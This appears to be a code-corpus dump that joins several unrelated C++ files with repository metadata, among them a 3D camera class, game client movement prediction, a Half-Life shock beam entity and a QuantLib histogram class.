void Camera::setPosition(const glm::vec3 &_position)
{
m_position = _position;
}
void Camera::offsetPosition(const glm::vec3 &offset)
{
m_position += offset;
}
float Camera::getFov() const
{
return m_fov;
}
void Camera::setFov(float _fov)
{
assert(_fov > 0.0f && _fov < 180.0f);
m_fov = _fov;
}
float Camera::getNearPlane() const
{
return m_nearPlane;
}
float Camera::getFarPlane() const
{
return m_farPlane;
}
void Camera::setNearAndFarPlanes(float _nearPlane, float _farPlane)
{
assert(_nearPlane > 0.0f);
assert(_farPlane > _nearPlane);
m_nearPlane = _nearPlane;
m_farPlane = _farPlane;
}
glm::mat4 Camera::getOrientation() const
{
glm::mat4 orientation = glm::mat4(1.0f);
orientation = glm::rotate(orientation, glm::radians(m_verticalAngle), glm::vec3(1,0,0));
orientation = glm::rotate(orientation, glm::radians(m_horizontalAngle), glm::vec3(0,1,0));
return orientation;
}
void Camera::offsetOrientation(float upAngle, float rightAngle)
{
m_horizontalAngle += rightAngle;
m_verticalAngle += upAngle;
NormalizeAngles();
}
void Camera::lookAt(glm::vec3 _position)
{
assert(_position != m_position);
auto direction = glm::normalize(m_position - _position);
m_verticalAngle = asinf(direction.y);
m_horizontalAngle = -atan2f(-direction.x, -direction.z);
NormalizeAngles();
}
float Camera::getViewportAspectRatio() const
{
return m_viewportAspectRatio;
}
void Camera::setViewportAspectRatio(float _viewportAspectRatio)
{
assert(_viewportAspectRatio > 0.0);
m_viewportAspectRatio = _viewportAspectRatio;
}
glm::vec3 Camera::getForward() const
{
auto forward = glm::inverse(getOrientation()) * glm::vec4(0,0,-1,1);
return glm::vec3(forward);
}
glm::vec3 Camera::getRight() const
{
auto right = glm::inverse(getOrientation()) * glm::vec4(1,0,0,1);
return glm::vec3(right);
}
glm::vec3 Camera::getUp() const
{
auto up = glm::inverse(getOrientation()) * glm::vec4(0,1,0,1);
return glm::vec3(up);
}
glm::mat4 Camera::getMatrix() const
{
return getProjection() * getView();
}
glm::mat4 Camera::getProjection() const
{
return glm::perspective(glm::radians(m_fov), m_viewportAspectRatio, m_nearPlane, m_farPlane);
}
glm::mat4 Camera::getView() const
{
return getOrientation() * glm::translate(glm::mat4(), -m_position);
}
void Camera::NormalizeAngles()
{
m_horizontalAngle = fmodf(m_horizontalAngle, 360.0f);
//fmodf can return negative values, but this will make them all positive
if(m_horizontalAngle < 0.0f)
m_horizontalAngle += 360.0f;
if(m_verticalAngle > MaxVerticalAngle)
m_verticalAngle = MaxVerticalAngle;
else if(m_verticalAngle < -MaxVerticalAngle)
m_verticalAngle = -MaxVerticalAngle;
}
| 22.798611
| 97
| 0.69601
|
hmkum
|
d0a987a31bf7d3d4181a725d0812bfb4c00305a2
| 8,851
|
cpp
|
C++
|
abclient/abclient/ClientPrediction.cpp
|
pablokawan/ABx
|
064d6df265c48c667ce81b0a83f84e5e22a7ff53
|
[
"MIT"
] | null | null | null |
abclient/abclient/ClientPrediction.cpp
|
pablokawan/ABx
|
064d6df265c48c667ce81b0a83f84e5e22a7ff53
|
[
"MIT"
] | null | null | null |
abclient/abclient/ClientPrediction.cpp
|
pablokawan/ABx
|
064d6df265c48c667ce81b0a83f84e5e22a7ff53
|
[
"MIT"
] | null | null | null |
/**
* Copyright 2017-2020 Stefan Ascher
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "ClientPrediction.h"
#include "Player.h"
#include "MathUtils.h"
#include <Urho3D/Physics/PhysicsWorld.h>
#include <Urho3D/Physics/CollisionShape.h>
#include <Urho3D/Physics/RigidBody.h>
#include "LevelManager.h"
void ClientPrediction::RegisterObject(Context* context)
{
context->RegisterFactory<ClientPrediction>();
}
ClientPrediction::ClientPrediction(Context* context) :
LogicComponent(context),
serverTime_(0)
{
serverPos_.y_ = std::numeric_limits<float>::max();
SetUpdateEventMask(USE_FIXEDUPDATE);
}
ClientPrediction::~ClientPrediction() = default;
void ClientPrediction::UpdateMove(float timeStep, uint8_t direction, float speedFactor)
{
if (direction == 0)
return;
const float speed = GetSpeed(timeStep, Game::BASE_MOVE_SPEED, speedFactor);
if ((direction & AB::GameProtocol::MoveDirectionNorth) == AB::GameProtocol::MoveDirectionNorth)
Move(speed, Vector3::FORWARD);
if ((direction & AB::GameProtocol::MoveDirectionSouth) == AB::GameProtocol::MoveDirectionSouth)
// Move slower backward
Move(speed, Vector3::BACK / 2.0f);
if ((direction & AB::GameProtocol::MoveDirectionWest) == AB::GameProtocol::MoveDirectionWest)
Move(speed, Vector3::LEFT / 2.0f);
if ((direction & AB::GameProtocol::MoveDirectionEast) == AB::GameProtocol::MoveDirectionEast)
Move(speed, Vector3::RIGHT / 2.0f);
}
bool ClientPrediction::CheckCollision(const Vector3& pos)
{
PhysicsWorld* physWorld = GetScene()->GetComponent<PhysicsWorld>();
if (!physWorld)
return true;
CollisionShape* collShape = node_->GetComponent<CollisionShape>(true);
if (!collShape)
return true;
RigidBody* rigidbody = node_->GetComponent<RigidBody>(true);
if (!rigidbody)
return true;
LevelManager* lMan = GetSubsystem<LevelManager>();
const bool isCollidingWithPlayers = !AB::Entities::IsOutpost(lMan->GetMapType());
// Actors always have AABB
const BoundingBox bb = collShape->GetWorldBoundingBox();
const Vector3 half = bb.HalfSize();
const BoundingBox newBB(pos - half, pos + half);
PODVector<RigidBody*> result;
physWorld->GetRigidBodies(result, newBB);
if (result.Size() < 2)
return true;
for (auto i = result.Begin(); i != result.End(); ++i)
{
if (!(*i)->GetNode())
continue;
Node* node = (*i)->GetNode()->GetParent();
if (!node)
continue;
if (node->GetComponent<Player>() != nullptr)
// Thats we
continue;
auto actor = node->GetComponent<Actor>();
if (!actor)
{
// Always collide with static objects on the same collision layer
auto* otherRb = (*i)->GetNode()->GetComponent<RigidBody>(true);
if (!otherRb)
return true;
if (rigidbody->GetCollisionLayer() & otherRb->GetCollisionLayer())
return false;
return true;
}
const ObjectType type = actor->objectType_;
if (type == ObjectType::Self)
// Don't collide with self
continue;
else if (type == ObjectType::Player && !isCollidingWithPlayers)
// Don't collide with other players in outposts
continue;
else if (type == ObjectType::AreaOfEffect || type == ObjectType::ItemDrop)
// Never collide with these
continue;
else if ((type == ObjectType::Player || type == ObjectType::Npc) && actor->IsDead())
// Dont collide with dead actors
continue;
// When we are here we do collide with some object and can't go to pos
return false;
}
return true;
}
void ClientPrediction::Move(float speed, const Vector3& amount)
{
Player* player = node_->GetComponent<Player>();
const Quaternion& oriention = player->rotateTo_;
Vector3 pos = player->moveToPos_;
const Matrix3 m = oriention.RotationMatrix();
const Vector3 a = amount * speed;
const Vector3 v = m * a;
pos += v;
Terrain* terrain = GetScene()->GetComponent<Terrain>(true);
if (terrain)
pos.y_ = terrain->GetHeight(pos);
else
{
if (!Equals(serverPos_.y_, std::numeric_limits<float>::max()))
pos.y_ = serverPos_.y_;
}
if (CheckCollision(pos))
player->moveToPos_ = pos;
}
void ClientPrediction::UpdateTurn(float timeStep, uint8_t direction, float speedFactor)
{
if (direction == 0)
return;
const float speed = GetSpeed(timeStep, Game::BASE_TURN_SPEED, speedFactor);
if ((direction & AB::GameProtocol::TurnDirectionLeft) == AB::GameProtocol::TurnDirectionLeft)
Turn(speed);
if ((direction & AB::GameProtocol::TurnDirectionRight) == AB::GameProtocol::TurnDirectionRight)
Turn(-speed);
}
void ClientPrediction::Turn(float yAngle)
{
float deg = RadToDeg(yAngle);
NormalizeAngle(deg);
Player* player = node_->GetComponent<Player>();
const float newangle = player->rotateTo_.EulerAngles().y_ + deg;
TurnAbsolute(newangle);
}
void ClientPrediction::TurnAbsolute(float yAngle)
{
Player* player = node_->GetComponent<Player>();
player->rotateTo_.FromEulerAngles(0.0f, yAngle, 0.0f);
}
void ClientPrediction::FixedUpdate(float timeStep)
{
LogicComponent::FixedUpdate(timeStep);
extern bool gNoClientPrediction;
if (gNoClientPrediction)
return;
Player* player = node_->GetComponent<Player>();
const AB::GameProtocol::CreatureState state = player->GetCreatureState();
if (state != AB::GameProtocol::CreatureState::Idle && state != AB::GameProtocol::CreatureState::Moving)
return;
const uint8_t moveDir = player->GetMoveDir();
if (moveDir != 0)
{
if (state == AB::GameProtocol::CreatureState::Idle)
{
TurnAbsolute(player->controls_.yaw_);
player->SetCreatureState(serverTime_, AB::GameProtocol::CreatureState::Moving);
}
UpdateMove(timeStep, moveDir, player->GetSpeedFactor());
}
const uint8_t turnDir = player->GetTurnDir();
// Kawan> Disabled
/*if (turnDir != 0)
{
if (state == AB::GameProtocol::CreatureState::Idle)
player->SetCreatureState(serverTime_, AB::GameProtocol::CreatureState::Moving);
UpdateTurn(timeStep, turnDir, player->GetSpeedFactor());
}*/
if (state == AB::GameProtocol::CreatureState::Moving)
{
if ((moveDir == 0 && lastMoveDir_ != 0) ||
(turnDir == 0 && lastTurnDir_ != 0))
player->SetCreatureState(serverTime_, AB::GameProtocol::CreatureState::Idle);
}
lastMoveDir_ = moveDir;
lastTurnDir_ = turnDir;
}
void ClientPrediction::CheckServerPosition(int64_t time, const Vector3& serverPos)
{
serverTime_ = time;
this->serverPos_ = serverPos;
Player* player = node_->GetComponent<Player>();
const Vector3& currPos = player->moveToPos_;
const float dist = (fabs(currPos.x_ - serverPos.x_) + fabs(currPos.z_ - serverPos.z_)) * 0.5f;
// FIXME: This sucks a bit, and needs some work.
if (dist > 5.0f || (dist > 1.0f && player->GetCreatureState() == AB::GameProtocol::CreatureState::Idle))
{
// If too far away or player is idle, Lerp to server position
player->moveToPos_ = serverPos;
}
}
void ClientPrediction::CheckServerRotation(int64_t time, float rad)
{
serverTime_ = time;
Player* player = node_->GetComponent<Player>();
const Quaternion& currRot = player->rotateTo_;
float deg = RadToDeg(rad);
NormalizeAngle(deg);
if (fabs(currRot.EulerAngles().y_ - deg) > 1.0f)
{
player->rotateTo_.FromEulerAngles(0.0f, deg, 0.0f);
}
}
| 35.123016
| 108
| 0.661055
|
pablokawan
|
d0a998f8d368a9dd4e71e0677cb0f552d3df8b2d
| 358
|
hpp
|
C++
|
libs/gfxtk_vulkan/src/gfxtk/backend/vulkan/TriangleFillMode.hpp
|
NostalgicGhoul/gfxtk
|
6662d6d1b285e20806ecfef3cdcb620d6605e478
|
[
"BSD-2-Clause"
] | null | null | null |
libs/gfxtk_vulkan/src/gfxtk/backend/vulkan/TriangleFillMode.hpp
|
NostalgicGhoul/gfxtk
|
6662d6d1b285e20806ecfef3cdcb620d6605e478
|
[
"BSD-2-Clause"
] | null | null | null |
libs/gfxtk_vulkan/src/gfxtk/backend/vulkan/TriangleFillMode.hpp
|
NostalgicGhoul/gfxtk
|
6662d6d1b285e20806ecfef3cdcb620d6605e478
|
[
"BSD-2-Clause"
] | null | null | null |
#ifndef GFXTK_BACKEND_VULKAN_TRIANGLEFILLMODE_HPP
#define GFXTK_BACKEND_VULKAN_TRIANGLEFILLMODE_HPP
#include <vulkan/vulkan.h>
#include <gfxtk/TriangleFillMode.hpp>
namespace gfxtk::backend {
struct TriangleFillMode {
static VkPolygonMode convert(gfxtk::TriangleFillMode fillMode);
};
}
#endif //GFXTK_BACKEND_VULKAN_TRIANGLEFILLMODE_HPP
| 23.866667
| 71
| 0.807263
|
NostalgicGhoul
|
d0adf93377aa91b3c8b573a9192c780af827352c
| 271
|
cpp
|
C++
|
driver/src/exception/DriverException.cpp
|
pranavsubramani/Birch
|
0a4bb698ed44353c8e8b93d234f2941d7511683c
|
[
"Apache-2.0"
] | 86
|
2017-10-29T15:46:41.000Z
|
2022-01-17T07:18:16.000Z
|
driver/src/exception/DriverException.cpp
|
pranavsubramani/Birch
|
0a4bb698ed44353c8e8b93d234f2941d7511683c
|
[
"Apache-2.0"
] | 13
|
2020-09-27T03:31:57.000Z
|
2021-05-27T00:39:14.000Z
|
driver/src/exception/DriverException.cpp
|
pranavsubramani/Birch
|
0a4bb698ed44353c8e8b93d234f2941d7511683c
|
[
"Apache-2.0"
] | 12
|
2018-08-21T12:57:18.000Z
|
2021-05-26T18:41:50.000Z
|
/**
* @file
*/
#include "src/exception/DriverException.hpp"
birch::DriverException::DriverException() {
//
}
birch::DriverException::DriverException(const std::string& msg) {
std::stringstream base;
base << "error: " << msg << '\n';
this->msg = base.str();
}
| 18.066667
| 65
| 0.642066
|
pranavsubramani
|
d0ae248d3cdab786948de9075956e0818d9fdf8d
| 5,734
|
cpp
|
C++
|
dlls/weapons/CShockBeam.cpp
|
Admer456/halflife-dnf01
|
a3cacddb5ff3dedfea2d157c72711ba1df429dac
|
[
"Unlicense"
] | null | null | null |
dlls/weapons/CShockBeam.cpp
|
Admer456/halflife-dnf01
|
a3cacddb5ff3dedfea2d157c72711ba1df429dac
|
[
"Unlicense"
] | null | null | null |
dlls/weapons/CShockBeam.cpp
|
Admer456/halflife-dnf01
|
a3cacddb5ff3dedfea2d157c72711ba1df429dac
|
[
"Unlicense"
] | null | null | null |
/***
*
* Copyright (c) 1996-2001, Valve LLC. All rights reserved.
*
* This product contains software technology licensed from Id
* Software, Inc. ("Id Technology"). Id Technology (c) 1996 Id Software, Inc.
* All Rights Reserved.
*
* Use, distribution, and modification of this source code and/or resulting
* object code is restricted to non-commercial enhancements to products from
* Valve LLC. All other use, distribution, or modification is prohibited
* without written permission from Valve LLC.
*
****/
#include "extdll.h"
#include "util.h"
#include "cbase.h"
#include "weapons.h"
#include "customentity.h"
#include "skill.h"
#include "decals.h"
#include "gamerules.h"
#include "CShockBeam.h"
LINK_ENTITY_TO_CLASS( shock_beam, CShockBeam );
void CShockBeam::Precache()
{
PRECACHE_MODEL( "sprites/flare3.spr" );
PRECACHE_MODEL( "sprites/lgtning.spr" );
PRECACHE_MODEL( "sprites/glow01.spr" );
PRECACHE_MODEL( "models/shock_effect.mdl" );
PRECACHE_SOUND( "weapons/shock_impact.wav" );
}
void CShockBeam::Spawn()
{
Precache();
pev->movetype = MOVETYPE_FLY;
pev->solid = SOLID_BBOX;
SET_MODEL( edict(), "models/shock_effect.mdl" );
UTIL_SetOrigin( pev, pev->origin );
UTIL_SetSize( pev, Vector( -4, -4, -4 ), Vector( 4, 4, 4 ) );
SetTouch( &CShockBeam::BallTouch );
SetThink( &CShockBeam::FlyThink );
m_pSprite = CSprite::SpriteCreate( "sprites/flare3.spr", pev->origin, false );
m_pSprite->SetTransparency( kRenderTransAdd, 255, 255, 255, 255, kRenderFxDistort );
m_pSprite->SetScale( 0.35 );
m_pSprite->SetAttachment( edict(), 0 );
m_pBeam1 = CBeam::BeamCreate( "sprites/lgtning.spr", 60 );
if( m_pBeam1 )
{
UTIL_SetOrigin( m_pBeam1->pev, pev->origin );
m_pBeam1->EntsInit( entindex(), entindex() );
m_pBeam1->SetStartAttachment( 1 );
m_pBeam1->SetEndAttachment( 2 );
m_pBeam1->SetColor( 0, 253, 253 );
m_pBeam1->SetFlags( BEAM_FSHADEOUT );
m_pBeam1->SetBrightness( 180 );
m_pBeam1->SetNoise( 0 );
m_pBeam1->SetScrollRate( 10 );
if( g_pGameRules->IsMultiplayer() )
{
pev->nextthink = gpGlobals->time + 0.01;
return;
}
m_pBeam2 = CBeam::BeamCreate( "sprites/lgtning.spr", 20 );
if( m_pBeam2 )
{
UTIL_SetOrigin( m_pBeam2->pev, pev->origin );
m_pBeam2->EntsInit( entindex(), entindex() );
m_pBeam2->SetStartAttachment( 1 );
m_pBeam2->SetEndAttachment( 2 );
m_pBeam2->SetColor( 255, 255, 157 );
m_pBeam2->SetFlags( BEAM_FSHADEOUT );
m_pBeam2->SetBrightness( 180 );
m_pBeam2->SetNoise( 30 );
m_pBeam2->SetScrollRate( 30 );
pev->nextthink = gpGlobals->time + 0.01;
}
}
}
void CShockBeam::FlyThink()
{
if( pev->waterlevel == WATERLEVEL_HEAD )
{
SetThink( &CShockBeam::WaterExplodeThink );
}
pev->nextthink = gpGlobals->time + 0.01;
}
void CShockBeam::ExplodeThink()
{
Explode();
UTIL_Remove( this );
}
void CShockBeam::WaterExplodeThink()
{
auto pOwner = VARS( pev->owner );
Explode();
::RadiusDamage( pev->origin, pev, pOwner, 100.0, 150.0, CLASS_NONE, DMG_ALWAYSGIB | DMG_BLAST );
UTIL_Remove( this );
}
void CShockBeam::BallTouch( CBaseEntity* pOther )
{
SetTouch( nullptr );
SetThink( nullptr );
if( pOther->pev->takedamage != DAMAGE_NO )
{
TraceResult tr = UTIL_GetGlobalTrace();
ClearMultiDamage();
const auto damage = g_pGameRules->IsMultiplayer() ? gSkillData.plrDmgShockRoachM : gSkillData.plrDmgShockRoachS;
auto bitsDamageTypes = DMG_ALWAYSGIB | DMG_SHOCK;
auto pMonster = pOther->MyMonsterPointer();
if( pMonster )
{
bitsDamageTypes = DMG_BLAST;
if( pMonster->m_flShockDuration > 1 )
{
bitsDamageTypes = DMG_ALWAYSGIB;
}
}
pOther->TraceAttack( VARS( pev->owner ), damage, pev->velocity.Normalize(), &tr, bitsDamageTypes );
if( pMonster )
{
pMonster->AddShockEffect( 63.0, 152.0, 208.0, 16.0, 0.5 );
}
ApplyMultiDamage( pev, VARS( pev->owner ) );
pev->velocity = g_vecZero;
}
SetThink( &CShockBeam::ExplodeThink );
pev->nextthink = gpGlobals->time + 0.01;
if( pOther->pev->takedamage == DAMAGE_NO )
{
TraceResult tr;
UTIL_TraceLine( pev->origin, pev->origin + pev->velocity * 10, dont_ignore_monsters, edict(), &tr );
UTIL_DecalTrace( &tr, DECAL_OFSCORCH1 + RANDOM_LONG( 0, 2 ) );
MESSAGE_BEGIN( MSG_PAS, SVC_TEMPENTITY, pev->origin );
g_engfuncs.pfnWriteByte( TE_SPARKS );
g_engfuncs.pfnWriteCoord( pev->origin.x );
g_engfuncs.pfnWriteCoord( pev->origin.y );
g_engfuncs.pfnWriteCoord( pev->origin.z );
MESSAGE_END();
}
}
void CShockBeam::Explode()
{
if( m_pSprite )
{
UTIL_Remove( m_pSprite );
m_pSprite = nullptr;
}
if( m_pBeam1 )
{
UTIL_Remove( m_pBeam1 );
m_pBeam1 = nullptr;
}
if( m_pBeam2 )
{
UTIL_Remove( m_pBeam2 );
m_pBeam2 = nullptr;
}
pev->dmg = 40;
MESSAGE_BEGIN( MSG_PVS, SVC_TEMPENTITY, pev->origin );
WRITE_BYTE( TE_DLIGHT );
WRITE_COORD( pev->origin.x );
WRITE_COORD( pev->origin.y );
WRITE_COORD( pev->origin.z );
WRITE_BYTE( 8 );
WRITE_BYTE( 0 );
WRITE_BYTE( 253 );
WRITE_BYTE( 253 );
WRITE_BYTE( 5 );
WRITE_BYTE( 10 );
MESSAGE_END();
pev->owner = nullptr;
EMIT_SOUND( edict(), CHAN_WEAPON, "weapons/shock_impact.wav", RANDOM_FLOAT( 0.8, 0.9 ), ATTN_NORM );
}
CShockBeam* CShockBeam::CreateShockBeam( const Vector& vecOrigin, const Vector& vecAngles, CBaseEntity* pOwner )
{
auto pBeam = GetClassPtr<CShockBeam>( nullptr );
pBeam->pev->angles = vecAngles;
pBeam->pev->angles.x = -pBeam->pev->angles.x;
UTIL_SetOrigin( pBeam->pev, vecOrigin );
UTIL_MakeVectors( pBeam->pev->angles );
pBeam->pev->velocity = gpGlobals->v_forward * 2000.0;
pBeam->pev->velocity.z = -pBeam->pev->velocity.z;
pBeam->pev->classname = MAKE_STRING( "shock_beam" );
pBeam->Spawn();
pBeam->pev->owner = pOwner->edict();
return pBeam;
}
| 22.311284
| 114
| 0.687129
|
Admer456
|
d0b6485309e26c3d7ebb0b31f6618b1e94507eae
| 8,190
|
hpp
|
C++
|
ql/math/statistics/histogram.hpp
|
markxio/Quantuccia
|
ebe71a1b9c2a9ee7fc4ea918a9602f100316869d
|
[
"BSD-3-Clause"
] | 29
|
2017-03-20T14:17:39.000Z
|
2021-12-22T08:00:52.000Z
|
ql/math/statistics/histogram.hpp
|
markxio/Quantuccia
|
ebe71a1b9c2a9ee7fc4ea918a9602f100316869d
|
[
"BSD-3-Clause"
] | 10
|
2017-04-02T14:34:07.000Z
|
2021-01-13T05:31:12.000Z
|
ql/math/statistics/histogram.hpp
|
markxio/Quantuccia
|
ebe71a1b9c2a9ee7fc4ea918a9602f100316869d
|
[
"BSD-3-Clause"
] | 22
|
2017-03-19T05:56:19.000Z
|
2022-03-16T13:30:20.000Z
|
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
Copyright (C) 2007 Gang Liang
This file is part of QuantLib, a free-software/open-source library
for financial quantitative analysts and developers - http://quantlib.org/
QuantLib is free software: you can redistribute it and/or modify it
under the terms of the QuantLib license. You should have received a
copy of the license along with this program; if not, please email
<quantlib-dev@lists.sf.net>. The license is also available online at
<http://quantlib.org/license.shtml>.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the license for more details.
*/
/*! \file histogram.hpp
\brief statistics tool for generating histogram of given data
*/
#ifndef quantlib_histogram_hpp
#define quantlib_histogram_hpp
#include <ql/utilities/null.hpp>
#include <vector>
namespace QuantLib {
//! Histogram class
/*! This class computes the histogram of a given data set. The
caller can specify the number of bins, the breaks, or the
algorithm for determining these quantities in computing the
histogram.
*/
class Histogram {
public:
enum Algorithm { None, Sturges, FD, Scott };
//! \name constructors
//@{
Histogram()
: bins_(0), algorithm_(Algorithm(-1)) {}
template <class T>
Histogram(T data_begin, T data_end, Size breaks)
: data_(data_begin,data_end), bins_(breaks+1),
algorithm_(None) {
calculate();
}
template <class T>
Histogram(T data_begin, T data_end, Algorithm algorithm)
: data_(data_begin,data_end), bins_(Null<Size>()),
algorithm_(algorithm) {
calculate();
}
template <class T, class U>
Histogram(T data_begin, T data_end,
U breaks_begin, U breaks_end)
: data_(data_begin,data_end), bins_(Null<Size>()),
algorithm_(None), breaks_(breaks_begin,breaks_end) {
bins_ = breaks_.size()+1;
calculate();
}
//@}
//! \name inspectors
//@{
Size bins() const;
const std::vector<Real>& breaks() const;
Algorithm algorithm() const;
bool empty() const;
//@}
//! \name results
//@{
Size counts(Size i) const;
Real frequency(Size i) const;
//@}
private:
std::vector<Real> data_;
Size bins_;
Algorithm algorithm_;
std::vector<Real> breaks_;
std::vector<Size> counts_;
std::vector<Real> frequency_;
// update counts and frequencies
void calculate();
};
}
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
Copyright (C) 2007 Gang Liang
This file is part of QuantLib, a free-software/open-source library
for financial quantitative analysts and developers - http://quantlib.org/
QuantLib is free software: you can redistribute it and/or modify it
under the terms of the QuantLib license. You should have received a
copy of the license along with this program; if not, please email
<quantlib-dev@lists.sf.net>. The license is also available online at
<http://quantlib.org/license.shtml>.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the license for more details.
*/
#include <ql/math/statistics/incrementalstatistics.hpp>
#include <ql/math/comparison.hpp>
#include <algorithm>
namespace QuantLib
{
namespace
{
/* The discontinuous quantiles use the method (type 8) as
recommended by Hyndman and Fan (1996). The resulting
quantile estimates are approximately median-unbiased
regardless of the distribution of 'samples'.
If quantile function is called multiple times for the same
dataset, it is recommended to pre-sort the sample vector.
*/
Real quantile(const std::vector<Real>& samples, Real prob)
{
Size nsample = samples.size();
QL_REQUIRE(prob >= 0.0 && prob <= 1.0,
"Probability has to be in [0,1].");
QL_REQUIRE(nsample > 0, "The sample size has to be positive.");
if (nsample == 1)
return samples[0];
// two special cases: close to boundaries
const Real a = 1. / 3, b = 2 * a / (nsample + a);
if (prob < b)
return *std::min_element(samples.begin(), samples.end());
else if (prob > 1 - b)
return *std::max_element(samples.begin(), samples.end());
// general situation: middle region and nsample >= 2
Size index = static_cast<Size>(std::floor((nsample + a)*prob + a));
std::vector<Real> sorted(index + 1);
std::partial_sort_copy(samples.begin(), samples.end(),
sorted.begin(), sorted.end());
// use "index & index+1"th elements to interpolate the quantile
Real weight = nsample*prob + a - index;
return (1 - weight) * sorted[index - 1] + weight * sorted[index];
}
}
inline Size Histogram::bins() const
{
return bins_;
}
inline const std::vector<Real>& Histogram::breaks() const
{
return breaks_;
}
inline Histogram::Algorithm Histogram::algorithm() const
{
return algorithm_;
}
inline bool Histogram::empty() const
{
return bins_ == 0;
}
inline Size Histogram::counts(Size i) const
{
#if defined(QL_EXTRA_SAFETY_CHECKS)
return counts_.at(i);
#else
return counts_[i];
#endif
}
inline Real Histogram::frequency(Size i) const
{
#if defined(QL_EXTRA_SAFETY_CHECKS)
return frequency_.at(i);
#else
return frequency_[i];
#endif
}
inline void Histogram::calculate()
{
QL_REQUIRE(!data_.empty(), "no data given");
Real min = *std::min_element(data_.begin(), data_.end());
Real max = *std::max_element(data_.begin(), data_.end());
// calculate number of bins if necessary
if (bins_ == Null<Size>())
{
switch (algorithm_)
{
case Sturges:
{
bins_ = static_cast<Size>(
std::ceil(std::log(static_cast<Real>(data_.size()))
/ std::log(2.0) + 1));
break;
}
case FD:
{
Real r1 = quantile(data_, 0.25);
Real r2 = quantile(data_, 0.75);
Real h = 2.0 * (r2 - r1) * std::pow(static_cast<Real>(data_.size()), -1.0 / 3.0);
bins_ = static_cast<Size>(std::ceil((max - min) / h));
break;
}
case Scott:
{
IncrementalStatistics summary;
summary.addSequence(data_.begin(), data_.end());
Real variance = summary.variance();
Real h = 3.5 * std::sqrt(variance)
* std::pow(static_cast<Real>(data_.size()), -1.0 / 3.0);
bins_ = static_cast<Size>(std::ceil((max - min) / h));
break;
}
case None:
QL_FAIL("a bin-partition algorithm is required");
default:
QL_FAIL("unknown bin-partition algorithm");
};
bins_ = std::max<Size>(bins_, 1);
}
if (breaks_.empty())
{
// set breaks if not provided
breaks_.resize(bins_ - 1);
// ensure breaks_ evenly span over the range of data_
// TODO: borrow the idea of pretty in R.
Real h = (max - min) / bins_;
for (Size i = 0; i<breaks_.size(); ++i)
{
breaks_[i] = min + (i + 1)*h;
}
}
else
{
// or ensure they're sorted if given
std::sort(breaks_.begin(), breaks_.end());
std::vector<Real>::iterator end =
std::unique(breaks_.begin(), breaks_.end(),
std::ptr_fun(close_enough));
breaks_.resize(end - breaks_.begin());
}
// finally, calculate counts and frequencies
counts_.resize(bins_);
std::fill(counts_.begin(), counts_.end(), 0);
for (std::vector<Real>::const_iterator p = data_.begin();
p != data_.end(); ++p)
{
bool processed = false;
for (Size i = 0; i<breaks_.size(); ++i)
{
if (*p < breaks_[i])
{
++counts_[i];
processed = true;
break;
}
}
if (!processed)
++counts_[bins_ - 1];
}
frequency_.resize(bins_);
Size totalCounts = data_.size();
for (Size i = 0; i<bins_; ++i)
frequency_[i] = static_cast<Real>(counts_[i]) / totalCounts;
}
}
#endif
| 27.029703
| 86
| 0.634554
|
markxio
|
d0b692c546d9197e18f0d44f1121b0946f313b90
| 829
|
hpp
|
C++
|
rj_param_utils/include/rj_param_utils/ros2_local_param_provider.hpp
|
xiaoqingyu0113/robocup-software
|
6127d25fc455051ef47610d0e421b2ca7330b4fa
|
[
"Apache-2.0"
] | 200
|
2015-01-26T01:45:34.000Z
|
2022-03-19T13:05:31.000Z
|
rj_param_utils/include/rj_param_utils/ros2_local_param_provider.hpp
|
xiaoqingyu0113/robocup-software
|
6127d25fc455051ef47610d0e421b2ca7330b4fa
|
[
"Apache-2.0"
] | 1,254
|
2015-01-03T01:57:35.000Z
|
2022-03-16T06:32:21.000Z
|
rj_param_utils/include/rj_param_utils/ros2_local_param_provider.hpp
|
xiaoqingyu0113/robocup-software
|
6127d25fc455051ef47610d0e421b2ca7330b4fa
|
[
"Apache-2.0"
] | 206
|
2015-01-21T02:03:18.000Z
|
2022-02-01T17:57:46.000Z
|
#pragma once
#include <rclcpp/rclcpp.hpp>
#include "rj_param_utils/ros2_param_provider.hpp"
namespace params {
/**
*
*/
class LocalROS2ParamProvider : public BaseROS2ParamProvider {
public:
explicit LocalROS2ParamProvider(rclcpp::Node* node, const std::string& module);
protected:
/**
* @brief Calls node->declare_parameters on all the registered parameters.
* @param node
*/
void DeclareParameters(rclcpp::Node* node);
/**
* @brief Initializes the callback called by the ROS2 node ROS2 paramter
* updates. The callback will update the registered parameters in
* ParamRegistry.
* @param node
*/
void InitUpdateParamCallbacks(rclcpp::Node* node);
rclcpp::node_interfaces::OnSetParametersCallbackHandle::SharedPtr callback_handle_;
};
} // namespace params
| 24.382353
| 87
| 0.714113
|
xiaoqingyu0113
|
d0bc88174c2d966482ab38237640f5e9872d8b6a
| 2,420
|
cpp
|
C++
|
Assigment 12/a12_p3/Tournamentmember.cpp
|
UrfanAlvany/Programming-in-C-and-Cpp
|
e23a485d5ce302cbbc14bd67a0f656797c3f6af1
|
[
"MIT"
] | 1
|
2022-01-02T16:02:09.000Z
|
2022-01-02T16:02:09.000Z
|
Assigment 12/a12_p3/Tournamentmember.cpp
|
